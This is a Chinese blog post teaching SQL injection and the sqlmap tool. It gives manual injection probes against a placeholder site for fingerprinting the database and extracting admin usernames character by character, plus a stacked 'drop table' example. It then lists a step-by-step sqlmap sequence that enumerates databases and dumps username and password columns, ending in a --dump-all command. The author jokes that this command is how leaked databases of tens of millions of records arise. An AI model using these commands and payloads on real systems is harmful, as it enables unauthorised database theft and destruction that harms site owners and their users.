『安全工具』注入神器SQLMAP
Pic by Baidu
0x 00 前言
正是SQLMAP这种神器的存在,SQL注入简直Easy到根本停不下来....
PS:国内类似软件也有阿D,明小子,挖掘机,当你用过他们之后你才会发现SQLMap才是绝对的注入神器
0x 01 注入原理
*****************************************开始分割线*****************************************
存在注入的原因是因为后台在编写程序时,没有对用户输入的数据做过滤导致的,正如事实上,不是所有的用户都是友好的
比如:用户在某个输入框提交的参数是 2
浏览器提交的URL为: http:// www.XXX.com/index.php?id=2
服务器后台执行SQL语句: select * from table1 where id = 2
返回Response,浏览器解析返回的页面,然后你就看到新的页面了
如果邪恶的用户提交的参数是 2;drop table1
服务器后台执行SQL语句: select * from table1 where id =2 ; drop table1
相当于后台执行了两条SQL语句,查表,并且把table1删除 - -
从而导致了SQL注入。
按照这个思路,现在写一下手工注入的一般步骤:
1、 判断是否存在注入点(数字型注入)
www.XXX.com/index.php?id=2‘--
www.XXX.com/index.php?id=2 and 1=1 --
www.XXX.com/index.php?id=2 and 1=2 --
第2条返回正常,第1,3条返回不正常说明id参数存在注入漏洞
2、 判断数据库类型
可以根据不同数据库特有的表,或者根据不同数据库的语法不同进行判断
www.XXX.com/index.php?id=2 and exists(select * from sysobjects) -- 返回正常是SQLServer 数据库
www.XXX.com/index.php?id=2 and exists(select * from msysobjects) -- 返回正常是Access 数据库
www.XXX.com/index.php?id=2 and len('a') = 1 -- 返回正常是SQLServer或者MySQL
www.XXX.com/index.php?id=2 and substring('abc','1','1') = a -- 返回正常是SQLServer
www.XXX.com/index.php?id=2 and subStr('abc','1','1')= a -- 返回正常是Oracle
知道是哪种类型数据库后就可以选择对应语法构造SQL语句进行攻击
3、 判定是否存在admin表
www.XXX.com/index.php?id=2 and exists(select * from admin) -- 返回正常 存在admin表
4、猜admin表中的字段名
www.XXX.com/index.php?id=2 and exists(select username from admin) -- 返回正常 表示admin表存在username字段
5、 猜字段值
www.XXX.com/index.php?id=2 and exists(select * from admin where id =1 and asc(mid(username,1,1))) < 100 -- 返回正常说明username中有ascii码小于100的字母,然后根据折半发准确判断是哪一个字符
以上是 SQLServer的手工注入步骤,在MySQL和Oracle中略有不同,思路还是这个样子,好了终于把这部分也不补上了~~
*****************************************结束分割线*****************************************
0x 02 安装SQLMap
1. 安装python
官网https://www.python.org/ 选择最新版本下载安装即可
因为SQLMap使用Python写的 ,所以没有Python的环境SQLMap无法运行
2. 安装SQLMap
官网 http://sqlmap.org/ 选择最近版本安装即可
3. 设置环境变量
为了使用便利,将SQLMAP的安装目录添加到系统环境变量中
之后在CMD中就可以直接使用SQLMap了
不设置环境变量的话,要把CMD的当前目录切换到SQLMap安装目录才可以使用
0x 03 SQLMap常用命令介绍
1. sqlmap.py -u "http://www.XXX.com/index.asp?id=1"
判断id参数是否存在注入:结果中包含 “id” is Vulnerable 字段表示存在注入
存在注入,下面的步骤才可以执行成功~
2. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" --dbs
列举能列出的所有数据库名
3. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" --current-db
列出当前使用的数据库名,假设列出“sqltest”数据库
4. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" --is-dba
判断该注入点是否有管理员权限:返回true 表示是管理员
5. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" --tables
获取sqltest中的所有表,假设有"admin"表
6. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" -T "admin" --columns
列举表admin的字段(列名),假设存在"username","password"字段
7. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" -T "admin" -C "username,password" --dump
下载字段username,password的值,若询问是否破解md5加密,选择no即可
至此,对一个简单的注入点(GET方式),现在就已经得到了我们想要的数据
想看工具的注入过程 使用-v参数
-level 会提高注入等级(默认0 只会判断get,post参数是否有注入点)
若注入点是POST方式,或是注入点才Cookie,User-Agent中,可以利用-Date 参数 -Cookie参数指定
当然用buip Suite架个代理,截取数据包,直接 -r 参数引入数据包也可以完成上述的注入情况的~
0x 04 注入Demo
本次演示使用Apache+Php +Mysql 环境,其他环境的话
使用SQLMap输入还是相同的命令,这点SQLMap做的好方便
sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" --dbs 列所有数据库名
sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" --current-db 列出当前数据库
sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" --is-dba 判断注入点是否有管理员权限
sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" --tables 猜表名
sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" -T "test" --columns 猜字段名
sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" -T "test" -C "id,name" --dump 猜id和name的值
网络上流传的脱裤 用的可就是下面的一句话
sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" --dump-all
突然发现 强大的东西往往仅仅是一句话 ! !
这条命令会直接把test数据库中所有的表全部下载到安装目录output文件夹中
然后就有了 2000W xxx 800W xxx ....................你懂得
『安全工具』注入神器SQLMAP的更多相关文章
- 网站入侵工具 SQL注入神器
0x 00 前言 SQLMAP 0x 01 注入原理 不说了 *****************************************结束分割线********** ...
- SQL注入神器———Sqlmap!
Sqlmap 开源,python编写 支持5种SQL注入检测技术: 1.基于布尔的注入检测 2.基于时间的注入检测 3.基于错误的注入检测 4.基于UNION联合查询的检测 5.基于堆叠查询的检测 支 ...
- 『安全工具』目录扫描 DirBuster AND 御剑
要想熟悉目标网站的体系架构,知道网站有哪些目录是必不可少的 向AWVS,Burp类大型扫描工具也可以进行目录扫描,不过个人感觉远没有专业扫描工具来的简单,实在 0x 01 DirBuster 简介:D ...
- 『安全工具』Nmap 强悍的端口扫描工具
作为时下流行的端口扫描工具,Nmap有因其扫描的隐密性有“端口扫描之王”之称 上图是黑客帝国(The Matrix)中崔妮蒂用Nmap入侵核发电站的能源管理系统 0x 01 Nmap介绍 Nmap是一 ...
- 『在线工具』 基于 xsser.me 源码 + BootStrap 前端 的 XSS 平台
乌云社区上一个小伙伴的对xsser.me 的源码做了 BS 的优化,本人已经搭建好,提供给大家免费使用,大牛求绕过,多谢. 地址: http://xss.evilclay.com (目前开放注册,不需 ...
- 『安全工具』Nessus多功能扫描器
0x 00 前言 写这篇博客,证明我还活着…… 0x 01 安装Nessus 直接官网 www.tenable.com/products/nessus/select-your-operating- ...
- 『 效率工具 』Spring Boot版的轻量级代码生成器,减少70%以上的开发任务
一. 前言 之前很着迷于代码自动生成,减少写重复代码的工作量.网络上也搜索了很久,有基于插件的,有GUI的.但其配置和学习成本都比较高,都不是很如我意. 本想自己用SpringBoot写一个,在收集相 ...
- SQLmap是一款用来检测与利用SQL漏洞的注入神器。
sqlmap 重要参考 http://www.kali.org.cn/forum-75-1.html SQLmap是一款用来检测与利用SQL漏洞的注入神器.开源的自动化SQL注入工具,由Python写 ...
- 防止sql注入和sqlmap介绍
sql注入问题从WEB诞生到现在也一直没停过,各种大小公司都出现过sql注入问题,导致被拖库,然后存在社工库撞库等一系列影响. 防止sql注入个人理解最主要的就一点,那就是变量全部参数化,能根本的解决 ...
随机推荐
- ASPNET异步删除和增加
function InitList() { $.getJSON("GetNewsList.ashx", {}, function (data) { for (var i = 0; ...
- Java---多线程之死锁
★ 死锁的两种情况: 简单的说下单块cpu运行多线程的情况: 大家可能平时玩电脑,可以同时挂QQ啊,玩游戏啊,打开文本啊,等等.这里,我们假设是单块cpu.也就是俗称的单核cpu. 大家可能会觉得这些 ...
- C++ 通过Thunk在WNDPROC中访问this指针
本文基本只讨论原理,具体实现请参见后续文章<C++ 通过Thunk在WNDPROC中访问this指针实现细节> 当注册窗口类时,WNDCLASSEX结构的lpfnWndProc成员应设置为 ...
- JDK 高性能编程之容器
高性能编程在对不同场景下对于容器的选择有着非常苛刻的条件,这里记录下前人总结的经验,并对源码进行调试 JDK高性能编程之容器 读书笔记内容部分来源书籍深入理解JVM.互联网等 先放一个类图util,点 ...
- 告诉你LTE-FDD与LTE-TDD的区别
[PConline 技术分析]移动早在去年已经拿下了TD-LTE的4G牌照,而中国联通与中国电信的FDD-LTE的牌照在近日正式拿下,而对于4G网络,有多少真正了解呢?接下来笔者就为大家解释一下4G的 ...
- linux crontab 定时命令
一直认为Timer是比较好的实现定时器的方法,后来遇到在linux下的命令制定定时任务才发现,Timer的劣势所在,在Timer的时候很可能你的任务会被当做一个死程序被杀掉等等......上次一个同事 ...
- myeclipse 于 否update software 解
In some situations you may not be able to install or update software using the menu commands in the ...
- POJ Farm Tour
Farm Tour 题目: 约翰有N块地,家在1号,而N号是个仓库.农场内有M条道路(双向的),道路i连接这ai号地和bi号地,长度为ci. 约翰希望依照从家里出发,经过若干地后达到仓库.然后再返回家 ...
- Bottle 中文文档
译者: smallfish (smallfish.xy@gmail.com) 更新日期: 2009-09-25 原文地址: http://bottle.paws.de/page/docs (已失效) ...
- Linux用户磁盘配额
一:内核中支持QUOTA: [root@localhost /]# grep CONFIG_QUOTA /boot/config-3.10.0-123.el7.x86_64 CONFIG_QUOTA ...